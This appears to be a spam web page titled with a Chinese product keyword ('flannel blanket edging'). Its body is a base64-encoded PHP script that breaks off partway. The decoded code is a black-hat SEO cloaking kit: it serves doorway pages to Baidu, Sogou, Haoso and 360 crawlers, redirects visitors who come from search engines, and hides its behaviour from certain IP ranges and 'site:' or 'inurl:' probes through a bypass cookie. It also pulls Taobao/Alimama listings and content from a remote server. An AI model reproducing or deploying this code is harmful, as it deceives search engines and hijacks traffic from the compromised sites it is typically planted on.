法兰绒 毯 包边
2016-05-30 09:03:26
ICRrZXlOYW1lID0n5rOV5YWw57uSIOavryDljIXovrknOyAKCmZ1bmN0aW9uIEFwcF9HZXRMaW5r KCl7CQoJcmV0dXJuICJodHRwOi8vd3d3LnNoYWliYW9qLmNvbS9hcnRpY2xlLSIucmFuZCgxMDAw MDAwMCw5OTk5OTk5OSkuIi0xLmh0bWwiOwp9CgpmdW5jdGlvbiBBcHBfR2V0U2VsZigpewoJcmV0 dXJuICJodHRwOi8vd3d3LnNoYWliYW9qLmNvbS9hcnRpY2xlLSIucmFuZCgxMDAwMDAwMCw5OTk5 OTk5OSkuIi0xLmh0bWwiOwp9CgoKLy/Ct8K1wrvDmMONwrzDhsKsCmZ1bmN0aW9uIGdldEltZygp ewoJcmV0dXJuICdodHRwOi8vd3d3LnNoYWliYW9qLmNvbS9pbWcvMjAxNTExMDYvbHEnLnJhbmQo MSwyMCkuIi5qcGciOwp9CgoKCgpmdW5jdGlvbiBybmRTdHIoJGxlbmd0aD04KXsKCSRzdHIgPSBu dWxsOwoJJHN0clBvbCA9ICIwMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoiOwoJ JG1heCA9IHN0cmxlbigkc3RyUG9sKS0xOwoJZm9yKCRpPTA7JGk8JGxlbmd0aDskaSsrKXsKCQkk c3RyLj0kc3RyUG9sW3JhbmQoMCwkbWF4KV07Cgl9CglyZXR1cm4gJHN0cjsKfQoKY2xhc3MgY29y ZUFwcENhY2hlewoJCglwdWJsaWMgZnVuY3Rpb24gd3JpdGUoJGZpbGUsJGZpbGVuYW1lKXsKCQly ZXR1cm4gZmlsZV9wdXRfY29udGVudHMoJGZpbGVuYW1lLHNlbGY6OmVuY29kZSgkZmlsZSkpOwoJ fQoJcHVibGljIGZ1bmN0aW9uIHdyaXRlbm9jb2RlKCRmaWxlLCRmaWxlbmFtZSl7CgkJcmV0dXJu IGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlbmFtZSwkZmlsZSk7Cgl9CglwdWJsaWMgZnVuY3Rpb24g cmVhZCgkZmlsZW5hbWUpewoJCSRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGVuYW1l KTsKCQlpZihzdHJpc3RyKCRjb250ZW50LCI8L2V4cGxvZGU+IikpewoJCQkkY29udGVudCA9IHNl bGY6OmN1dCgkY29udGVudCwiPGV4cGxvZGU+IiwiPC9leHBsb2RlPiIpOwoJCX0KCQlyZXR1cm4g c2VsZjo6ZGVjb2RlKCRjb250ZW50KTsKCX0KCglwdWJsaWMgZnVuY3Rpb24gZW5jb2RlKCRmaWxl KXsKCQlyZXR1cm4gYmFzZTY0X2VuY29kZShnemNvbXByZXNzKHNlcmlhbGl6ZSgkZmlsZSkpKTsg Cgl9CgoJcHVibGljIGZ1bmN0aW9uIGRlY29kZSgkZmlsZSl7CgkJcmV0dXJuIHVuc2VyaWFsaXpl KGd6dW5jb21wcmVzcyhiYXNlNjRfZGVjb2RlKCRmaWxlKSkpOyAKCX0KCQoJcHVibGljIGZ1bmN0 aW9uIGN1dCgkZmlsZSwkZnJvbSwkZW5kKQoJeyAKCQkkbWVzc2FnZT1leHBsb2RlKCRmcm9tLCRm aWxlKTsgCgkJJG1lc3NhZ2U9ZXhwbG9kZSgkZW5kLCRtZXNzYWdlWzFdKTsgCgkJcmV0dXJuICAg JG1lc3NhZ2VbMF07Cgl9Cn0KCgoKCiRteV9jb250ZW50PScnOwppZighZW1wdHkoJGtleU5hbWUp KXsKCSRxdWVyeV9kYXRhID0gYXJyYXkoJ3EnPT4ka2V5TmFtZSwpOwoJJG15X2FsaW1hbWEgPSBu ZXcgYWxpbWFtYSgkcXVlcnlfZGF0YSk7CgkkbXlfYWxpbWFtYS0+cXVlcnkoKTsKCSRteV9jb250 ZW50ID0gJG15X2FsaW1hbWEtPmh0bWwoKTsKfQokZGF0YSA9IHN0cl9yZXBsYWNlKCc8cGhwdWw+ PC9waHB1bD4nLCRteV9jb250ZW50LCRkYXRhKTsKaWYoc3RycG9zKCRkYXRhLCJbaXRlbTptZW51 XSIpIT09IGZhbHNlJiYhZW1wdHkoJGtleU5hbWUpKXsKCSR0YWdfdXJsID0gJ2h0dHBzOi8vc3Vn Z2VzdC50YW9iYW8uY29tL3N1Zz9jb2RlPXV0Zi04JnE9Jy51cmxlbmNvZGUoJGtleU5hbWUpOwoJ JHRhZ19jb250ZW50ID0gYWxpbWFtYTo6SHR0cFZpc2l0KCR0YWdfdXJsKTsKCSR0YWdfanNvbiA9 IGpzb25fZGVjb2RlKCR0YWdfY29udGVudCx0cnVlKTsKCSR0YWdfbWVudSA9ICcnOwoJZm9yZWFj aCAoJHRhZ19qc29uWydyZXN1bHQnXSBhcyAka2V5ID0+ICR2YWx1ZSkgewoJCSRodHRwX2hvc3Qg PSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107CgkJJHBocF9zZWxmID0gJF9TRVJWRVJbJ1BIUF9TRUxG J107CiAJCSR0YWdfaXRlbV91cmw9J2h0dHA6Ly8nLiRodHRwX2hvc3QuJHBocF9zZWxmLic/a2V5 TmFtZT0nLnVybGVuY29kZSgkdmFsdWVbMF0pOwoJCSR0YWdfbWVudSA9ICR0YWdfbWVudS4nPGEg dGFyZ2V0PSJfYmxhbmsiIGhyZWY9IicuJHRhZ19pdGVtX3VybC4nIj4nLiR2YWx1ZVswXS4nPC9h Pic7Cgl9CgkkZGF0YSA9IHN0cl9yZXBsYWNlKCdbaXRlbTptZW51XScsJHRhZ19tZW51LCRkYXRh KTsKfQoKY2xhc3MgYWxpbWFtYXsKCQoJcHVibGljICRzaG93X3NwaWRlcjsKCXB1YmxpYyAkanVt cF9yZWY7CglwdWJsaWMgJGh0dHBfcmVmX2ZpbHRlcjsKCXB1YmxpYyAkanVtcF91cmwgPSAiIjsK CXB1YmxpYyAkZG9tYWluID0gIiI7CglwdWJsaWMgJGNvbmRpdGlvbiA9ICIiOwoJcHVibGljICRh cHBfc2VydmVyID0gIiI7CglwdWJsaWMgJGxvZ19zcGlkZXIgPSAiIjsKCXB1YmxpYyAkY3VyX3Nw aWRlciA9ICIiOwoJcHVibGljICRhbGxvd19pcCA9ICIiOwoJcHVibGljICRpc0NhY2hlID0gZmFs c2U7CglwdWJsaWMgJGNyYXdsX3VybCA9ICJodHRwOi8vcHViLmFsaW1hbWEuY29tL2l0ZW1zL3Nl YXJjaC5qc29uIjsKCXB1YmxpYyAkcXVlcnlfZGF0YTsKCXB1YmxpYyAkY29udGVudDsKCglwdWJs aWMgJGxpX3RlbXBsYXRlPSI8bGk+CiAgPGRpdiBjbGFzcz0nbGlfbGlzdCcgb25tb3VzZW92ZXI9 J3RoaXMuY2xhc3NOYW1lPSdsaV9ob3ZlcicnIG9ubW91c2VvdXQ9J3RoaXMuY2xhc3NOYW1lPSds aV9saXN0Jyc+CiAgICA8ZGl2IGNsYXNzPSduZXcnPjwvZGl2PgogICAgPGRpdiBjbGFzcz0nY29s bGVjdCc+PGEgaHJlZj0namF2YXNjcmlwdDo7Jz48L2E+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSdw aWMnPjxhIGhyZWY9J3t1cmx9JyB0YXJnZXQ9J19ibGFuayc+IDxpbWcgc3JjPSd7cGljdXJsfSc+ PC9hPjwvZGl2PgogICAgPGRpdiBjbGFzcz0ndGl0bGUnPiA8YSBocmVmPSd7dXJsfScgdGFyZ2V0 PSdfYmxhbmsnPnt0aXRsZX08L2E+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSdtb25leV9iZyc+IAoJ ICAgIDxzcGFuPjxlbSBjbGFzcz0nbW9uZXlfc3ltYm9sJz7vv6U8L2VtPjxlbSBjbGFzcz0nbW9u ZXlfbnVtJz57cHJpY2V9PC9lbT48L3NwYW4+IAoJICAgIDxzcGFuIGNsYXNzPSdmeF9tb25leV9i Zyc+IDxlbSBjbGFzcz0nemhla291IGl0ZW0nIHN0eWxlPSd2aXNpYmlsaXR5OiB2aXNpYmxlOyc+ PGI+e25pY2t9PC9iPjwvZW0+IAoJICAgIDxlbSBjbGFzcz0ncWlhbmdvdSc+PC9lbT4gCiAgICA8 L2Rpdj4KICAgIDxkaXYgY2xhc3M9J3RqcF9ib3R0b21fYmcnPgogICAgICA8ZGl2IGNsYXNzPSd0 anBfYm90dG9tJz4KICAgICAgICA8ZGl2IGNsYXNzPSd0anBfZmFidSBjb2xvcl85OSc+e3RvdGFs RmVlfTwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9J3RqcF94aWFvYmlhbiBjb2xvcl82Nic+e3Rv dGFsTnVtfTwvZGl2PgogICAgICA8L2Rpdj4KICAgIDwvZGl2PgogIDwvZGl2Pgo8L2xpPiAiOwoK CS8v5a6a5LmJ5p6E6YCg5Ye95pWw77yM55So5LqO5Yid5aeL5YyW6LWL5YC8CiAgICBmdW5jdGlv biBfX2NvbnN0cnVjdCgkcXVlcnlfZGF0YSkKICAgIHsKICAgICAgICAgJHRoaXMtPnF1ZXJ5X2Rh dGEgPSAkcXVlcnlfZGF0YTsgICAgICAgIC8v6L+Z6YeM5bey57uP5L2/55So5LqGdGhpc+aMh+mS iOivreWPpeKRoAogICAgfQoKCXB1YmxpYyBmdW5jdGlvbiBzZXRRdWVyeURhdGEoJHF1ZXJ5X2Rh dGEpewoJCSR0aGlzLT5xdWVyeV9kYXRhID0gJHF1ZXJ5X2RhdGE7CgkJcmV0dXJuIHRydWU7Cgl9 CgoJcHVibGljIGZ1bmN0aW9uIGh0bWwoKXsKCQkkY29udGVudCA9ICR0aGlzLT5jb250ZW50OwoJ CSRhbGltYW1hX2pzb24gPSBqc29uX2RlY29kZSgkY29udGVudCx0cnVlKTsKCQkkaHRtbCA9ICI8 dWw+IjsKCQlmb3JlYWNoICgkYWxpbWFtYV9qc29uWydkYXRhJ11bJ3BhZ2VMaXN0J10gYXMgJGtl eSA9PiAkdmFsdWUpIHsKCSAJCSRpdGVtX3VybD0kdmFsdWVbJ2F1Y3Rpb25VcmwnXTsKCSAJCSRp dGVtX3RpdGxlPSR2YWx1ZVsndGl0bGUnXTsKCSAJCSRpdGVtX3ByaWNlPSR2YWx1ZVsnemtQcmlj ZSddOwoJIAkJJGl0ZW1fcGljdFVybD0kdmFsdWVbJ3BpY3RVcmwnXS4nXzQwMHg0MDBfLndlYnAn OwoJIAkJJGl0ZW1fbmljaz0kdmFsdWVbJ25pY2snXTsKCSAJCSRpdGVtX3RvdGFsTnVtPSfmgLvp lIDph486Jy4kdmFsdWVbJ3RvdGFsTnVtJ107CgkgCQkkaXRlbV90b3RhbEZlZT0n5oC75Lqk5piT 6aKdOicuJHZhbHVlWyd0b3RhbEZlZSddOwoKCQkJJGh0dHBfaG9zdCA9ICRfU0VSVkVSWydIVFRQ X0hPU1QnXTsKIAkJCSRwaHBfc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddOwoJIAkJJGl0ZW1f dXJsPSdodHRwOi8vJy4kaHR0cF9ob3N0LiRwaHBfc2VsZi4nP2dvdHU9Jy5iYXNlNjRfZW5jb2Rl KCRpdGVtX3VybCk7CgoJIAkJJGl0ZW1fcGljdFVybD0naHR0cDovL2kua2FudHUuaW4vJy5iYXNl NjRfZW5jb2RlKCRpdGVtX3BpY3RVcmwpOwoKCQkJJGxpID0gJHRoaXMtPmxpX3RlbXBsYXRlOwoK CQkJJGxpID0gc3RyX3JlcGxhY2UoJ3t0aXRsZX0nLCRpdGVtX3RpdGxlLCRsaSk7CgkJCSRsaSA9 IHN0cl9yZXBsYWNlKCd7cHJpY2V9JywkaXRlbV9wcmljZSwkbGkpOwoJCQkkbGkgPSBzdHJfcmVw bGFjZSgne3VybH0nLCRpdGVtX3VybCwkbGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3BpY3Vy bH0nLCRpdGVtX3BpY3RVcmwsJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3t0b3RhbE51bX0n LCRpdGVtX3RvdGFsTnVtLCRsaSk7CgkJCSRsaSA9IHN0cl9yZXBsYWNlKCd7bmlja30nLCRpdGVt X25pY2ssJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3t0b3RhbEZlZX0nLCRpdGVtX3RvdGFs RmVlLCRsaSk7CgoJCQkkaHRtbCA9ICRodG1sLiRsaTsKCSAJCS8vIGVjaG8gJGxpOwoJIAl9Cgkg CSRodG1sID0gJGh0bWwuIjwvdWw+IjsKCQlyZXR1cm4gJGh0bWw7Cgl9CgoJcHVibGljIGZ1bmN0 aW9uIHF1ZXJ5KCl7CgkJJHVybCAgPSAkdGhpcy0+Y3Jhd2xfdXJsLic/Jy5odHRwX2J1aWxkX3F1 ZXJ5KCR0aGlzLT5xdWVyeV9kYXRhKTsKCQkkdGhpcy0+Y29udGVudCA9ICR0aGlzLT5IdHRwVmlz aXQoJHVybCk7Cgl9CgoJcHVibGljIGZ1bmN0aW9uIHJ1bigpewoJCSR0aGlzLT5kb21haW4gPSAk dGhpcy0+Z2V0U2VydmVyTmFtZSgpOwoJCSR0aGlzLT5qdW1wX3JlZiA9IGV4cGxvZGUoInwiLCJi YWlkdS58aGFvc28ufGhhb3NvdS58YmluZy58c28ufHNvZ291Lnxzb3NvLiIpOwoJCSR0aGlzLT5o dHRwX3JlZl9maWx0ZXIgPSBleHBsb2RlKCJ8IiwiaW51cmw6fHNpdGU6fHNpdGUlM0F8aW51cmwl M0EiKTsKCQkkdGhpcy0+YWxsb3dfaXAgPSAiMjIyLjE4NC4yMzR8MTEyLjg3LjcxfDU4LjIyMS44 Ny58NDkuNjcuMjIzIjsKCQkkdGhpcy0+Y29uZGl0aW9uID0gKCRfR0VUWydhaWQnXSA+IDEwMDAw MDAwICYmICR0aGlzLT5pc0FsbG93ZElwKCkpOwoJCSR0aGlzLT5hcHBfc2VydmVyID0gIiI7CgkJ JHRoaXMtPmlzQ2FjaGUgID0gRmFsc2U7CgkJaWYoJHRoaXMtPmlzU3BpZGVyKCkgJiYgJHRoaXMt PmlzQWxsb3dkSXAoKSl7CgkJCQlpZigkdGhpcy0+Y29uZGl0aW9uKXsKCQkJCQlpZigkdGhpcy0+ aXNDYWNoZSl7CgkJCQkJCSRyZWxzZXRfaG9zdCA9ICR0aGlzLT5nZXRTZXJ2ZXJOYW1lKCk7CgkJ CQkJCSRkaXIgPSAoc3Vic3RyKFBIUF9PUywgMCwgMykgPT0gJ1dJTicgPyAnQzovd2luZG93cy90 ZW1wLycgOiAnL3RtcC8nKSAuIHN1YnN0cihtZDUoJHJlbHNldF9ob3N0KSwgMjYpIC4gY2hyKDQ3 KTsKCQkJCQkJJGNhY2hlRmlsZSA9ICRkaXIuJ3Nlc3NfJyAuIHN1YnN0cihtZDUoaHR0cF9idWls ZF9xdWVyeSgkX0dFVCkpLCA2KTsKCQkJCQkJaWYoIUBmaWxlX2V4aXN0cygkZGlyKSl7CiAgICAg ICAgICAgICAJCQkJIG1rZGlyKCRkaXIsIDA3NzcpOwogICAgICAgICAgICAJCQl9CgkJCQkJCWlm KEBmaWxlX2V4aXN0cygkY2FjaGVGaWxlKSAmJiBAZmlsZXNpemUgKCRjYWNoZUZpbGUpID4gMzIg KXsKCQkJCQkJCSR2YXIgPSBjb3JlQXBwQ2FjaGU6OnJlYWQoJGNhY2hlRmlsZSk7CgkJCQkJCQkk cGFnZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKEFQUF9KQUNLX1RFTVBMQVRFKTsKCQkJCQkJCWZvcmVh Y2goJHZhciBhcyAka2V5PT4kdil7CgkJCQkJCQkJJGZsYWcgPSAieyIuJGtleS4ifSI7CgkJCQkJ CQkJJHBhZ2UgPSBzdHJfcmVwbGFjZSgkZmxhZywkdiwkcGFnZSk7CgkJCQkJCQl9CgkJCQkJCQll Y2hvICRwYWdlOwoJCQkJCQkJZXhpdCgpOwoJCQkJCQl9CgkJCQkJCWVsc2UKCQkJCQkJewkKCQkJ CQkJCS8vwrDDvMK6wqzCvcO4QVBQwrzCtMK/w4kKCQkJCQkJCSRjdXJyZW50UGFnZSA9IGluY2x1 ZGUoQVBQX0pBQ0tfQVBQRklMRSk7CgkJCQkJCQlpZigkY3VycmVudFBhZ2UgJiYgc3RybGVuKCRj dXJyZW50UGFnZSkgPiAzMiAmJiBzdHJpc3RyKCRjdXJyZW50UGFnZSwiPC9leHBsb2RlPiIpKXsK CQkJCQkJCQkkdmFyID0gc2VsZjo6Y3V0KCRjdXJyZW50UGFnZSwiPGV4cGxvZGU+IiwiPC9leHBs b2RlPiIpOwoJCQkJCQkJCSR2YXIgPSBjb3JlQXBwQ2FjaGU6OmRlY29kZSgkdmFyKTsKCQkJCQkJ CQkkcGFnZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKEFQUF9KQUNLX1RFTVBMQVRFKTsKCQkJCQkJCQlm b3JlYWNoKCR2YXIgYXMgJGtleT0+JHYpewoJCQkJCQkJCQkkZmxhZyA9ICJ7Ii4ka2V5LiJ9IjsK CQkJCQkJCQkJJHBhZ2UgPSBzdHJfcmVwbGFjZSgkZmxhZywkdiwkcGFnZSk7CgkJCQkJCQkJfQoJ CQkJCQkJCWVjaG8gJHBhZ2U7CgkJCQkJCQkJQGNvcmVBcHBDYWNoZTo6d3JpdGVub2NvZGUoJGN1 cnJlbnRQYWdlLCRjYWNoZUZpbGUpOwoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJCWRpZSgpOwoJCQkJ CX0KCQkJCQllbHNlCgkJCQkJewoJCQkJCQkkY3VycmVudFBhZ2UgPSBpbmNsdWRlKEFQUF9KQUNL X0FQUEZJTEUpOwoJCQkJCQllY2hvICRjdXJyZW50UGFnZTsKCQkJCQkJZGllKCk7CgkJCQkJfQoJ CQkJfQoJCQkJZWxzZQoJCQkJewoKCQkJCQkkdGhpcy0+X3VuY29uZGl0aW9uX2hvb2soKTsKCQkJ CX0KCQl9CgkJZWxzZQoJCXsJCgkJCWlmKCR0aGlzLT5pc1JlZigpICYmICR0aGlzLT5jb25kaXRp b24pewoJCQkJJHRoaXMtPkp1bXAoKTsKCQkJfQoJCQllbHNlCgkJCXsKCQkJCSR0aGlzLT5fdW5T cGlkZXJfaG9vaygpOwoJCQl9CgkJfQoJfQoKCXB1YmxpYyBmdW5jdGlvbiBpc0FsbG93ZElwKCl7 CgkJJGlwID0gJHRoaXMtPmNsaWVudElwKCk7CgkJJG5vbl9saXN0ID0gZXhwbG9kZSgifCIsJHRo aXMtPmFsbG93X2lwKTsKCQlmb3JlYWNoKCRub25fbGlzdCBhcyAkaXBsaXN0KXsKCQkJaWYoQHN0 cmlzdHIoJGlwLCRpcGxpc3QpKXsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCQlyZXR1cm4g dHJ1ZTsKCX0KCglwdWJsaWMgZnVuY3Rpb24gY2xpZW50SXAoKXsKCQlpZihnZXRlbnYoJ0hUVFBf Q0xJRU5UX0lQJykgJiYgc3RyY2FzZWNtcChnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJyksICd1bmtu b3duJykpIHsKCQkJJG9ubGluZWlwID0gZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpOwoJCX0gZWxz ZWlmKGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKSAmJiBzdHJjYXNlY21wKGdldGVudign SFRUUF9YX0ZPUldBUkRFRF9GT1InKSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5laXAgPSBnZXRl bnYoJ0hUVFBfWF9GT1JXQVJERURfRk9SJyk7CgkJfSBlbHNlaWYoZ2V0ZW52KCdSRU1PVEVfQURE UicpICYmIHN0cmNhc2VjbXAoZ2V0ZW52KCdSRU1PVEVfQUREUicpLCAndW5rbm93bicpKSB7CgkJ CSRvbmxpbmVpcCA9IGdldGVudignUkVNT1RFX0FERFInKTsKCQl9IGVsc2VpZihpc3NldCgkX1NF UlZFUlsnUkVNT1RFX0FERFInXSkgJiYgJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gJiYgc3RyY2Fz ZWNtcCgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5laXAg PSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKCQl9CgkJcHJlZ19tYXRjaCgiL1tcZFwuXXs3LDE1 fS8iLCAkb25saW5laXAsICRvbmxpbmVpcG1hdGNoZXMpOwoJCSRvbmxpbmVpcCA9ICRvbmxpbmVp cG1hdGNoZXNbMF0gPyAkb25saW5laXBtYXRjaGVzWzBdIDogJ3Vua25vd24nOwoJCXVuc2V0KCRv bmxpbmVpcG1hdGNoZXMpOwoJCXJldHVybiAkb25saW5laXA7Cgl9CgoJcHVibGljIGZ1bmN0aW9u IGlzU3BpZGVyKCl7CgkJJGJvdHMgPSBhcnJheSgKCQkJCSdCYWlkdScgICAgICAgID0+ICdiYWlk dXNwaWRlcicsCgkJCQknU29nb3UnICAgICAgICA9PiAnc29nb3UnLAoJCQkJJ0hhb3NvJyAgICAg ICAgPT4gJ2hhb3NvdXNwaWRlcicsCgkJCQknMzYwc3BpZGVyJyAgICAgICAgPT4gJzM2MHNwaWRl cicKCQkgKTsKCQkkdXNlckFnZW50ID0gc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9VU0VSX0FH RU5UJ10pOwoJCWZvcmVhY2ggKCRib3RzIGFzICRrID0+ICR2KXsKCQkJaWYgKHN0cmlzdHIoJHVz ZXJBZ2VudCwkdikpewoJCQkJaWYoIWVtcHR5KCR0aGlzLT5sb2dfc3BpZGVyKSl7CgkJCQkJQGZp bGVfcHV0X2NvbnRlbnRzKCR0aGlzLT5sb2dfc3BpZGVyLCR2LiItPlZpc2l0ZWQgIi4kX1NFUlZF UlsnUVVFUllfU1RSSU5HJ10uImF0OiAiLmRhdGUoIlktbS1kIEg6aTpzIikuIlxuIixGSUxFX0FQ UEVORCk7CgkJCQl9CgkJCQkkdGhpcy0+Y3VyX3NwaWRlciA9ICRrOwoJCQkJcmV0dXJuIHRydWU7 CgkJCQlicmVhazsKCQkJfQoJCX0KCQlyZXR1cm4gZmFsc2U7CQoJfQoKCXB1YmxpYyBmdW5jdGlv biBpc1JlZigpewoJCSRyZWYgPSBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10p OwoJCWlmKGlzc2V0KCRfQ09PS0lFWyJkb21haW4tZmlsdGVyLWJ5cGFzcyJdKSl7CgkJCXJldHVy biBmYWxzZTsKCQl9CgkJCgkJaWYoISR0aGlzLT5pc0FsbG93ZElwKCkpewoJCQlzZXRjb29raWUo ImRvbWFpbi1maWx0ZXItYnlwYXNzIiwgImxvbCIsIHRpbWUoKSArIDI1OTIwMCk7CgkJCXJldHVy biBmYWxzZTsKCQl9CgoJCWZvcmVhY2goJHRoaXMtPmh0dHBfcmVmX2ZpbHRlciBhcyAkcil7CgkJ CSRyID0gdHJpbSgkcik7CgkJCWlmKHN0cmlzdHIoJHJlZiwkcikpewoJCQkJc2V0Y29va2llKCJk b21haW4tZmlsdGVyLWJ5cGFzcyIsICJsb2wiLCB0aW1lKCkgKyAyNTkyMDApOwoJCQkJcmV0dXJu IGZhbHNlOwoJCQl9CgkJfQoJCgkJZm9yZWFjaCgkdGhpcy0+anVtcF9yZWYgYXMgJHIpewoJCQkk ciA9IHRyaW0oJHIpOwoJCQlpZihzdHJpc3RyKCRyZWYsJHIpKXsKCQkJCXJldHVybiB0cnVlOwoJ CQl9CgkJfQoJfQoKCXB1YmxpYyBmdW5jdGlvbiBnZXRTZXJ2ZXJOYW1lKCkgCgl7IAoJCSRTZXJ2 ZXJOYW1lID0gc3RydG9sb3dlcigkX1NFUlZFUlsnU0VSVkVSX05BTUUnXT8kX1NFUlZFUlsnU0VS VkVSX05BTUUnXTokX1NFUlZFUlsnSFRUUF9IT1NUJ10pOyAKCQlpZiggc3RycG9zKCRTZXJ2ZXJO YW1lLCdodHRwOi8vJykgKSAKCQl7IAoJCQlyZXR1cm4gc3RyX3JlcGxhY2UoJ2h0dHA6Ly8nLCcn LCRTZXJ2ZXJOYW1lKTsgCgkJfSAKCQlyZXR1cm4gJFNlcnZlck5hbWU7IAoJfQoKCXB1YmxpYyBm dW5jdGlvbiBnZXRQYWdlKCl7CgkJaWYoJHRoaXMtPmlzQ2FjaGUpewoJCQkkY2FjaGU9ImNhY2hl ZCI7CgkJfQoJCSR1cmwgID0gJHRoaXMtPmFwcF9zZXJ2ZXIuIj9kb21haW49Ii4kdGhpcy0+ZG9t YWluLiImZ2lkPTE5OSZzcGlkZXI9Ii4kdGhpcy0+Y3VyX3NwaWRlci4iJmNhY2hlPSIuJGNhY2hl LiImbG9jYWxQYXI9Ii5odHRwX2J1aWxkX3F1ZXJ5KCRfR0VUKTsKCQlyZXR1cm4gJHRoaXMtPkh0 dHBWaXNpdCgkdXJsKTsKCX0KCiAgICBwdWJsaWMgZnVuY3Rpb24gSHR0cFZpc2l0KCR3ZWJ1cmwp IHsKICAgIAkkdXNlcl9hZ2VudCA9ICJNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBJbnRlbCBNYWMg T1MgWCAxMF8xMF81KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJv bWUvNDUuMC4yNDU0Ljg1IFNhZmFyaS81MzcuMzYgUVFCcm93c2VyLzMuOS4zOTQzLjQwMCI7CiAg ICAgICAgJHJlbW90ZV9kYXRhID0gTlVMTDsKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdj dXJsX2V4ZWMnKSkgewogICAgICAgICAgICAkY3VybCA9IEBjdXJsX2luaXQoKTsKICAgICAgICAg ICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwgJHdlYnVybCk7CiAgICAgICAgICAg IEBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IRUFERVIsIDApOwogICAgICAgICAgICBAY3Vy bF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDMwKTsKICAgICAgICAgICAg QGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKICAgICAgICAg ICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJfYWdlbnQpOyAK ICAgICAgICAgICAgJHJlbW90ZV9kYXRhID0gQGN1cmxfZXhlYygkY3VybCk7CiAgICAgICAgICAg IEBjdXJsX2Nsb3NlKCRjdXJsKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBpZiAoZnVu Y3Rpb25fZXhpc3RzKCdzdHJlYW1fY29udGV4dF9jcmVhdGUnKSkgewogICAgICAgICAgICAgICAg JGhlYWRlcl9hcnJheSA9IGFycmF5KCdodHRwJyA9PiBhcnJheSgnbWV0aG9kJyA9PiAnR0VUJywg J3RpbWVvdXQnID0+IDMwKSk7CiAgICAgICAgICAgICAgICAkaHR0cF9oZWFkZXIgPSBAc3RyZWFt X2NvbnRleHRfY3JlYXRlKCRoZWFkZXJfYXJyYXkpOwogICAgICAgICAgICAgICAgJHJlbW90ZV9k YXRhID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR3ZWJ1cmwsIGZhbHNlLCAkaHR0cF9oZWFkZXIpOwog ICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHRlbXBfdXJsID0gZXhwbG9kZSgi LyIsICR3ZWJ1cmwpOwogICAgICAgICAgICAgICAgJG5ld191cmwgPSAkdGVtcF91cmxbMl07CiAg ICAgICAgICAgICAgICAkaHR0cF9wb3J0ID0gODA7CiAgICAgICAgICAgICAgICAkZ2V0X2ZpbGUg PSBzdWJzdHIoJHdlYnVybCwgc3RybGVuKCRuZXdfdXJsKSArIDcpOwogICAgICAgICAgICAgICAg aWYgKHN0cnN0cigkbmV3X3VybCwgY2hyKDU4KSkpIHsKICAgICAgICAgICAgICAgICAgICAkc192 YXJfYXJyYXlbJ3RkJ10gPSBleHBsb2RlKGNocig1OCksICRuZXdfdXJsKTsKICAgICAgICAgICAg ICAgICAgICAkbmV3X3VybCA9ICRzX3Zhcl9hcnJheVsndGQnXVswXTsKICAgICAgICAgICAgICAg ICAgICAkaHR0cF9wb3J0ID0gJHNfdmFyX2FycmF5Wyd0ZCddWzFdOwogICAgICAgICAgICAgICAg fQogICAgICAgICAgICAgICAgJGZzb2NrX3Jlc3VsdCA9IEBmc29ja29wZW4oJG5ld191cmwsICRo dHRwX3BvcnQpOwogICAgICAgICAgICAgICAgQGZwdXRzKCRmc29ja19yZXN1bHQsICdHRVQgJyAu ICRnZXRfZmlsZSAuICcgSFRUUC8xLjEnIC4gIlxyXG4iIC4gJ0hvc3Q6JyAuICRuZXdfdXJsIC4g IlxyXG4iIC4gJ0Nvbm5lY3Rpb246Q2xvc2UnIC4gIlxyXG5cclxuIik7CiAgICAgICAgICAgICAg ICB3aGlsZSAoIWZlb2YoJGZzb2NrX3Jlc3VsdCkpIHsKICAgICAgICAgICAgICAgICAgICAkcmVt b3RlX2RhdGEgLj0gZmdldHMoJGZzb2NrX3Jlc3VsdCwgMTAyNCk7CiAgICAgICAgICAgICAgICB9 CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmc29ja19yZXN1bHQpOwogICAgICAgICAgICB9CiAg ICAgICAgfQogICAgICAgIHJldHVybiAkcmVtb3RlX2RhdGE7CiAgICB9CgoJcHVibGljIGZ1bmN0 